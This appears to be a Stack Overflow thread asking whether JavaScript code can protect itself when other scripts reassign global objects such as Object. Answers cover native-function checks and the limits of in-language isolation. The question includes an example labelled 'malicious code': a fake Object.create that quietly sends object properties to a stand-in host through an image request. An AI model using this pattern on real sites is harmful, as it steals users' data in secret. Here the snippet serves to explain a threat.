d.k
d.k

Reputation: 4470

Is it safe to rely on global native objects in JavaScript, particularly the Object one?

First, I know, that relying on the Array constructor is usually frowned because it can be reassigned by other code, which is not in a strict mode, and instead one should use an array literal [], in that case he always relies on the native, real Array (there are a couple of another implications but this is the main)

But how to deal with the Object? There are some methods (create, freeze etc.) which can be accessed only through the Object identifier.

I looked to source code of AngularJS and saw, that there authors rely on an assumption that these objects (Object, Function) would not be reassigned, so I've concluded that there is no better way. But I would like to listen to an opinion of more experienced people.

So the question is: How to protect own code intended to be used abreast with other javascript code from reassigned global native objects?

UPDATE

My question is about security concerns. So it is about a situation where a developer cannot assume that:

Please, consider this situation as an example:

// the malicious code
var oldObj = Object,
    Object = {
        create: function(proto) {
            var secretProps = 'http://malicioushost.com/?'
            for (var prop in proto) {
                secretProps += encodeURIComponent(prop) + '=' + encodeURIComponent(proto[prop]) + '&'
            }
            var secretImg = document.createElement('img')
            secretImg.src = secretProps
            document.body.appendChild(secretImg)
            return oldObj.create.call(oldObj, proto)
     }
}

// the non-malign code
var foo = Object.create({prop1: 'foo', prop2: 'bar'})

here Object.create behaves exactly as the original one

Appreciate it sincerely.

Upvotes: 0

Views: 96

Answers (3)

bobince
bobince

Reputation: 536557

First, I know, that relying on the Array constructor is usually frowned because it can be reassigned by other code

Nah. The reason the Array constructor is frowned upon is because it's unnecessarily wordier than just saying [] and the interface is confusingly inconsistent. (Specifically, new Array(x).length is x if x is a Number, and 1 for any other type... ugh.)

There are some libraries that try to grab their own copies of some globals so that they still work if the host page happens to define its own variable called Object or undefined, but it's not watertight by any means.

How to protect own code intended to be used abreast with other javascript code from reassigned global native objects?

This is not a solvable problem. JavaScript doesn't provide sufficient tools to establish an effective security boundary. Pretty much all objects, methods and properties can be sabotaged.

(At a language level, anyway... with a browser you may be able to do something with keeping code in different contexts using cross-domain frames/sandbox, postMessage and so on. But if the interface elements the user is interacting with happen on a compromised top-level page it's still unlikely to help much.)

Upvotes: 1

Ali Habibzadeh
Ali Habibzadeh

Reputation: 11568

If you need to check whether native code are in fact native and have not been overwritten you can simply check them like this before you use them:

function isFuncNative(f) {
       return !!f && (typeof f).toLowerCase() == 'function' 
       && (f === Function.prototype 
       || /^\s*function\s*(\b[a-z$_][a-z0-9$_]*\b)*\s*\((|([a-z$_][a-z0-9$_]*)(\s*,[a-z$_][a-z0-9$_]*)*)\)\s*{\s*\[native code\]\s*}\s*$/i.test(String(f)));
}

then

if (isFuncNative(Object.create)){
    // Use Object.create
} else {
   alert("You naughty boy!");
}

Upvotes: 0

Klors
Klors

Reputation: 2674

I'm not sure what the language spec says, but from this I'd say probably not. However, I'd also say that if someone is messing around with your JavaScript environment in this way then you don't have a consistent enough environment to get anything worthwhile done anyway, and thus worrying about it isn't worthwhile.

var d,
  origObj,
  o1,
  o2,
  o3;

origObj = Object;

d = document.getElementById('objectorno');
d.innerHTML = Object;

o1 = Object.create({});
d.innerHTML = d.innerHTML + '<br/><br/>' + o1;

Object = null;

d.innerHTML = d.innerHTML + '<br/><br/>' + Object;

o2 = {
  aprop: "this is a property of an object"
};
d.innerHTML = d.innerHTML + '<br/><br/>' + o2.aprop;

try {
  o3 = Object.create({});
  d.innerHTML = d.innerHTML + '<br/><br/>' + o3;
} catch (e){
  d.innerHTML = d.innerHTML + '<br/><br/>No more Object.create()';
}
<div id="objectorno"></div>

Upvotes: 1

Related Questions